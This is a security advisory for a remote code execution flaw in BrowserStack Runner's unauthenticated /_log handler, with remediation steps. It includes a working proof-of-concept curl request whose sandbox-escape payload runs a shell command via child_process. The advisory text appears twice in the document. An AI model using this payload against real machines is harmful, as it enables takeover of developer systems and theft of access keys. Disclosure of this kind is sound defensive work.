CVE-2026-49143

BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.

BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.

Summary

The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.

Details

When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:

// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);

The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().

Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.

Proof of Concept

# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js

# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
  -H "Content-Type: application/json" \
  -d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'

# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...

Impact

An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.

Remediation

1. Remove eval() and vm.runInNewContext() from the _log handler — use JSON.stringify() for safe logging
2. Add UUID authentication to _log (matching _progress and _report handlers)
3. Bind the HTTP server on 127.0.0.1 instead of 0.0.0.0

Credit

Christ Bowel Bouchuen

BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.

BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.

Summary

The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.

Details

When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:

// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);

The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().

Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.

Proof of Concept

# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js

# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
  -H "Content-Type: application/json" \
  -d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'

# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...

Impact

An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.

Remediation

1. Remove eval() and vm.runInNewContext() from the _log handler — use JSON.stringify() for safe logging
2. Add UUID authentication to _log (matching _progress and _report handlers)
3. Bind the HTTP server on 127.0.0.1 instead of 0.0.0.0

Credit

Christ Bowel Bouchuen